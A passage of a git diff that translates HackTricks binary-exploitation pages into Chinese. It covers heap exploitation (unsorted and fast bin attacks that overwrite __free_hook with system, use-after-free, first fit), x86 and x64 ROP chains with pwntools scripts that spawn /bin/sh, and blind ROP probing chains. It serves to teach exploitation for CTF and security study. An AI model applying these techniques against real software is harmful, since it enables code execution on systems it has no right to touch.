个块**:**chunk0** 将与自身合并,chunk1 以防止与顶部块合并。然后,**合并函数被调用两次与 chunk0**,这将导致使用后释放。 +- 然后,**`view`** 函数被调用,索引为 2(即使用后释放块的索引),这将**泄露一个 libc 地址**。 +- 由于二进制文件具有保护措施,仅允许 malloc 大于 **`global_max_fast`** 的大小,因此不使用快速 bin,将使用未排序 bin 攻击来覆盖全局变量 `global_max_fast`。 +- 然后,可以调用编辑函数,索引为 2(使用后释放指针),并将 `bk` 指针覆盖为指向 `p64(global_max_fast-0x10)`。然后,创建一个新块将使用之前被破坏的释放地址(0x20),将**触发未排序 bin 攻击**,覆盖 `global_max_fast`,这是一个非常大的值,现在允许在快速 bin 中创建块。 +- 现在执行**快速 bin 攻击**: +- 首先发现可以在**`__free_hook`**位置处理大小为 200 的快速**块**: +-
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+
+- 如果我们设法在此位置获得大小为 0x200 的快速块,将能够覆盖将被执行的函数指针。 +- 为此,创建一个大小为 `0xfc` 的新块,并用该指针调用合并函数两次,这样我们就获得了指向大小为 `0xfc*2 = 0x1f8` 的释放块的指针。 +- 然后,在此块中调用编辑函数以修改此快速 bin 的**`fd`**地址,使其指向之前的**`__free_hook`**函数。 +- 然后,创建一个大小为 `0x1f8` 的块,以从快速 bin 中检索之前无用的块,因此创建另一个大小为 `0x1f8` 的块,以在**`__free_hook`**中获取快速 bin 块,该块被覆盖为**`system`**函数的地址。 +- 最后,释放一个包含字符串 `/bin/sh\x00` 的块,调用删除函数,触发**`__free_hook`**函数,该函数指向 system,参数为 `/bin/sh\x00`。 +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- 另一个利用 1B 溢出以合并未排序 bin 中的块并获取 libc 信息泄露的示例,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- 我们只能分配大于 `0x100` 的块。 +- 使用未排序 bin 攻击覆盖 `global_max_fast`(由于 ASLR,成功率为 1/16,因为我们需要修改 12 位,但必须修改 16 位)。 +- 快速 bin 攻击以修改全局块数组。这提供了一个任意读/写原语,允许修改 GOT 并设置某些函数指向 `system`。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index d6fd34f42..2a8fbd6f1 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -2,16 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. +顾名思义,这种漏洞发生在程序**为一个对象在堆中分配了一些空间**,**在其中写入**一些信息,**释放**它显然是因为不再需要,然后**再次访问**它。 -The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). +这里的问题是,访问**已释放的内存**并不是非法的(**不会出现错误**)。因此,如果程序(或攻击者)设法**分配已释放的内存并存储任意数据**,当从初始指针访问已释放的内存时,**数据将被覆盖**,导致一个**漏洞,这将取决于原始存储数据的敏感性**(如果它是一个即将被调用的函数的指针,攻击者可能会控制它)。 -### First Fit attack +### First Fit 攻击 -A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ -Check more info in: +First fit 攻击针对一些内存分配器(如 glibc)管理已释放内存的方式。当你释放一块内存时,它会被添加到一个列表中,新的内存请求从列表的末尾提取。攻击者可以利用这种行为来操纵**哪些内存块被重用,从而可能控制它们**。这可能导致“use-after-free”问题,攻击者可以**更改被重新分配的内存的内容**,从而造成安全风险。\ +查看更多信息: {{#ref}} first-fit.md diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 7bab07aea..81e20f28d 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -4,36 +4,33 @@ ## **First Fit** -When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. +当你在程序中使用 glibc 释放内存时,会使用不同的“桶”来管理内存块。以下是两种常见场景的简化解释:未排序桶和快速桶。 ### Unsorted Bins -When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. +当你释放一个不是快速块的内存块时,它会进入未排序桶。这个桶就像一个列表,新释放的块被添加到前面(“头”)。当你请求一个新的内存块时,分配器从后面(“尾”)查看未排序桶,以找到一个足够大的块。如果未排序桶中的块大于你所需的大小,它会被拆分,前面的部分被返回,剩余的部分留在桶中。 -Example: - -- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`). -- When you free `a`, it goes to the unsorted bin. -- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin. - - `c` will be pointing to the previous `a` and filled with the `a's`. +示例: +- 你分配 300 字节(`a`),然后 250 字节(`b`),释放 `a` 并再次请求 250 字节(`c`)。 +- 当你释放 `a` 时,它进入未排序桶。 +- 如果你再次请求 250 字节,分配器在尾部找到 `a` 并将其拆分,返回适合你请求的部分,并将其余部分保留在桶中。 +- `c` 将指向之前的 `a` 并填充 `a` 的内容。 ```c char *a = malloc(300); char *b = malloc(250); free(a); char *c = malloc(250); ``` - ### Fastbins -Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. +Fastbins用于小内存块。与未排序的bins不同,fastbins将新块添加到头部,创建后进先出(LIFO)行为。如果您请求一个小内存块,分配器将从fastbin的头部提取。 -Example: - -- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`). -- When you free them in any order, the freed chunks are added to the fastbin's head. -- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin. +示例: +- 您分配四个20字节的块(`a`,`b`,`c`,`d`)。 +- 当您以任何顺序释放它们时,释放的块会被添加到fastbin的头部。 +- 如果您随后请求一个20字节的块,分配器将从fastbin的头部返回最近释放的块。 ```c char *a = malloc(20); char *b = malloc(20); @@ -48,17 +45,16 @@ b = malloc(20); // c c = malloc(20); // b d = malloc(20); // a ``` - -## Other References & Examples +## 其他参考资料与示例 - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** +- ARM64. 使用后释放:生成一个用户对象,释放它,生成一个获取已释放块的对象并允许写入,**覆盖之前的 user->password 位置**。重用用户以**绕过密码检查** - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note. - - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. +- 该程序允许创建笔记。笔记将包含在 malloc(8) 中的笔记信息(带有可以调用的函数指针)和指向另一个 malloc(\) 的指针,后者包含笔记的内容。 +- 攻击将是创建 2 个笔记(note0 和 note1),其 malloc 内容大于笔记信息大小,然后释放它们以使其进入快速 bin(或 tcache)。 +- 然后,创建另一个笔记(note2),内容大小为 8。内容将位于 note1 中,因为该块将被重用,我们可以修改函数指针以指向 win 函数,然后使用后释放 note1 来调用新的函数指针。 - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. +- 可以分配一些内存,写入所需值,释放它,重新分配它,由于之前的数据仍然存在,它将根据块中的新预期结构进行处理,从而可以设置值以获取标志。 - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. +- 在这种情况下,需要在特定块中写入 4,该块是第一个被分配的块(即使在强制释放所有块后)。在每个新分配的块中,其在数组索引中的编号被存储。然后,分配 4 个块(+ 最初分配的),最后一个块将包含 4,释放它们并强制重新分配第一个块,这将使用最后释放的块,即包含 4 的块。 diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 29e21bca5..918ee690a 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **基本信息** -**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. +**返回导向编程 (ROP)** 是一种高级利用技术,用于绕过 **无执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段,称为 **"gadgets"**,而不是注入和执行 shellcode。每个 gadget 通常以 `ret` 指令结束,并执行小的操作,例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起,攻击者可以构造一个有效绕过 NX/DEP 保护的有效负载,以执行任意操作。 -### How ROP Works +### ROP 的工作原理 -1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. -2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. -3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. +1. **控制流劫持**:首先,攻击者需要劫持程序的控制流,通常通过利用缓冲区溢出来覆盖栈上的保存返回地址。 +2. **Gadget 链接**:攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及为函数调用设置参数,调用函数(例如 `system("/bin/sh")`),并处理任何必要的清理或附加操作。 +3. **有效负载执行**:当易受攻击的函数返回时,而不是返回到合法位置,它开始执行 gadgets 链。 -### Tools +### 工具 -Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). +通常,可以使用 [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper) 或直接从 **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) 找到 gadgets。 -## ROP Chain in x86 Example +## x86 示例中的 ROP 链 -### **x86 (32-bit) Calling conventions** +### **x86 (32位) 调用约定** -- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** -- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. +- **cdecl**:调用者清理栈。函数参数以相反的顺序(从右到左)推送到栈上。**参数从右到左推送到栈上。** +- **stdcall**:与 cdecl 类似,但被调用者负责清理栈。 -### **Finding Gadgets** +### **查找 Gadgets** -First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: +首先,假设我们已经在二进制文件或其加载的库中识别了必要的 gadgets。我们感兴趣的 gadgets 包括: -- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. -- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. -- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. -- Additionally, we have the address of the `system()` function available. +- `pop eax; ret`:这个 gadget 将栈顶的值弹出到 `EAX` 寄存器中,然后返回,使我们能够控制 `EAX`。 +- `pop ebx; ret`:与上述类似,但针对 `EBX` 寄存器,使我们能够控制 `EBX`。 +- `mov [ebx], eax; ret`:将 `EAX` 中的值移动到 `EBX` 指向的内存位置,然后返回。这通常被称为 **write-what-where gadget**。 +- 此外,我们还有 `system()` 函数的地址可用。 -### **ROP Chain** +### **ROP 链** -Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: - -1. A `ret` instruction for alignment purposes (optional) -2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/)) -3. Placeholder for the return address from `system()` -4. `"/bin/sh"` string address (parameter for system function) +使用 **pwntools**,我们准备栈以执行 ROP 链,目标是执行 `system('/bin/sh')`,注意链的开始: +1. 为对齐目的的 `ret` 指令(可选) +2. `system` 函数的地址(假设 ASLR 被禁用且已知 libc,更多信息见 [**Ret2lib**](ret2lib/)) +3. `system()` 的返回地址占位符 +4. `"/bin/sh"` 字符串地址(system 函数的参数) ```python from pwn import * @@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th # Construct the ROP chain rop_chain = [ - ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues - system_addr, # Address of system(). Execution will continue here after the ret gadget - 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. - bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() +ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues +system_addr, # Address of system(). Execution will continue here after the ret gadget +0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. +bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() ] # Flatten the rop_chain for use @@ -74,28 +73,26 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +## ROP Chain in x64 示例 -## ROP Chain in x64 Example +### **x64 (64位) 调用约定** -### **x64 (64-bit) Calling conventions** +- 在类Unix系统上使用 **System V AMD64 ABI** 调用约定,其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8` 和 `R9` 传递**。额外的参数通过栈传递。返回值放在 `RAX` 中。 +- **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8` 和 `R9` 作为前四个整数或指针参数,额外的参数通过栈传递。返回值放在 `RAX` 中。 +- **寄存器**:64位寄存器包括 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` 和 `R8` 到 `R15`。 -- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. -- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`. -- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`. +#### **查找小工具** -#### **Finding Gadgets** +为了我们的目的,让我们专注于可以让我们设置 **RDI** 寄存器(将 **"/bin/sh"** 字符串作为参数传递给 **system()**)并调用 **system()** 函数的小工具。我们假设我们已经识别出以下小工具: -For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: +- **pop rdi; ret**:将栈顶值弹出到 **RDI** 中,然后返回。对于设置 **system()** 的参数至关重要。 +- **ret**:一个简单的返回,在某些情况下对栈对齐很有用。 -- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. -- **ret**: A simple return, useful for stack alignment in some scenarios. +我们知道 **system()** 函数的地址。 -And we know the address of the **system()** function. - -### **ROP Chain** - -Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**: +### **ROP 链** +下面是一个使用 **pwntools** 设置和执行 ROP 链的示例,旨在执行 **system('/bin/sh')** 在 **x64** 上: ```python from pwn import * @@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary # Construct the ROP chain rop_chain = [ - ret_gadget, # Alignment gadget, if needed - pop_rdi_gadget, # pop rdi; ret - bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() - system_addr # Address of system(). Execution will continue here. +ret_gadget, # Alignment gadget, if needed +pop_rdi_gadget, # pop rdi; ret +bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() +system_addr # Address of system(). Execution will continue here. ] # Flatten the rop_chain for use @@ -130,66 +127,65 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +在这个例子中: -In this example: +- 我们利用 **`pop rdi; ret`** gadget 将 **`RDI`** 设置为 **`"/bin/sh"`** 的地址。 +- 在设置 **`RDI`** 后,我们直接跳转到 **`system()`**,链中包含 **system()** 的地址。 +- 如果目标环境需要,使用 **`ret_gadget`** 进行对齐,这在 **x64** 中更为常见,以确保在调用函数之前正确对齐栈。 -- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. -- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain. -- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions. +### 栈对齐 -### Stack Alignment +**x86-64 ABI** 确保在执行 **call instruction** 时 **栈是16字节对齐** 的。**LIBC** 为了优化性能,**使用SSE指令**(如 **movaps**),这需要这种对齐。如果栈没有正确对齐(意味着 **RSP** 不是16的倍数),对像 **system** 这样的函数的调用将在 **ROP chain** 中失败。要解决此问题,只需在调用 **system** 之前在 ROP chain 中添加一个 **ret gadget**。 -**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. - -## x86 vs x64 main difference +## x86与x64的主要区别 > [!TIP] -> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). +> 由于 **x64使用寄存器处理前几个参数,** 它通常需要比x86更少的gadget进行简单的函数调用,但由于寄存器数量增加和地址空间更大,找到和链接正确的gadget可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战,特别是在返回导向编程(ROP)的背景下。 -## ROP chain in ARM64 Example +## ARM64示例中的ROP链 -### **ARM64 Basics & Calling conventions** +### **ARM64基础与调用约定** -Check the following page for this information: +请查看以下页面以获取此信息: {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protections Against ROP +## 针对ROP的保护 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain -- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): 这些保护措施使得ROP的使用变得更加困难,因为gadget的地址在执行之间会发生变化。 +- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/): 在发生BOF时,需要绕过存储的栈金丝雀以覆盖返回指针,从而滥用ROP链。 +- **缺乏Gadgets**: 如果没有足够的gadget,就无法生成ROP链。 -## ROP based techniques +## 基于ROP的技术 -Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: +请注意,ROP只是执行任意代码的一种技术。基于ROP开发了许多Ret2XXX技术: -- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. +- **Ret2lib**: 使用ROP从加载的库中调用任意函数,带有任意参数(通常是类似 `system('/bin/sh')` 的东西)。 {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. +- **Ret2Syscall**: 使用ROP准备对系统调用的调用,例如 `execve`,并使其执行任意命令。 {{#ref}} rop-syscall-execv/ {{#endref}} -- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). +- **EBP2Ret & EBP链**: 第一个将利用EBP而不是EIP来控制流程,第二个类似于Ret2lib,但在这种情况下,流程主要通过EBP地址控制(尽管也需要控制EIP)。 {{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}} -## Other Examples & References +## 其他示例与参考 - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag +- 64位,启用Pie和nx,无金丝雀,用 `vsyscall` 地址覆盖RIP,唯一目的是返回栈中的下一个地址,这将是对地址的部分覆盖,以获取泄漏标志的函数部分 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64,无ASLR,ROP gadget使栈可执行并跳转到栈中的shellcode {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 94d93bd6f..34a1270a9 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -2,123 +2,123 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ -This attack is based on the following scenario: +此攻击的目标是能够**通过缓冲区溢出滥用ROP,而无需了解易受攻击的二进制文件**。\ +此攻击基于以下场景: -- A stack vulnerability and knowledge of how to trigger it. -- A server application that restarts after a crash. +- 一个堆栈漏洞和触发它的知识。 +- 一个在崩溃后重新启动的服务器应用程序。 -## Attack +## 攻击 -### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected +### **1. 找到易受攻击的偏移** 发送一个字符,直到检测到服务器故障 -### **2. Brute-force canary** to leak it +### **2. 暴力破解canary** 以泄露它 -### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them +### **3. 暴力破解存储的RBP和RIP** 地址以泄露它们 -You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). +您可以在[这里 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)和[这里 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)找到有关这些过程的更多信息。 -### **4. Find the stop gadget** +### **4. 找到停止小工具** -This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed +这个小工具基本上允许确认ROP小工具执行了某些有趣的内容,因为执行没有崩溃。通常,这个小工具将是**停止执行**的内容,并且在寻找ROP小工具以确认特定ROP小工具被执行时,它位于ROP链的末尾。 -### **5. Find BROP gadget** +### **5. 找到BROP小工具** -This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: +此技术使用[**ret2csu**](ret2csu.md)小工具。这是因为如果您在某些指令中间访问此小工具,您将获得控制**`rsi`**和**`rdi`**的工具:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-These would be the gadgets: +这些将是小工具: - `pop rsi; pop r15; ret` - `pop rdi; ret` -Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. +注意,使用这些小工具可以**控制函数的2个参数**。 -Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: +此外,请注意,ret2csu小工具具有**非常独特的签名**,因为它将从堆栈中弹出6个寄存器。因此,发送一个链如: `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` -If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. +如果**STOP被执行**,这基本上意味着使用了一个**从堆栈中弹出6个寄存器的地址**。或者使用的地址也是一个停止地址。 -In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: +为了**消除这个最后的选项**,执行一个新的链,如下所示,并且它必须不执行停止小工具以确认前一个确实弹出了6个寄存器: `'A' * offset + canary + rbp + ADDR` -Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. +知道ret2csu小工具的地址,可以**推断出控制`rsi`和`rdi`的小工具的地址**。 -### 6. Find PLT +### 6. 找到PLT -The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. +PLT表可以从0x400000或从堆栈中的**泄露的RIP地址**进行搜索(如果**PIE**正在使用)。表的**条目**是**每16B分隔**(0x10B),当调用一个函数时,即使参数不正确,服务器也不会崩溃。此外,检查**PLT + 6B的条目地址也不会崩溃**,因为这是执行的第一段代码。 -Therefore, it's possible to find the PLT table checking the following behaviours: +因此,可以通过检查以下行为找到PLT表: -- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash +- `'A' * offset + canary + rbp + ADDR + STOP` -> 没有崩溃 +- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> 没有崩溃 +- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> 没有崩溃 -### 7. Finding strcmp +### 7. 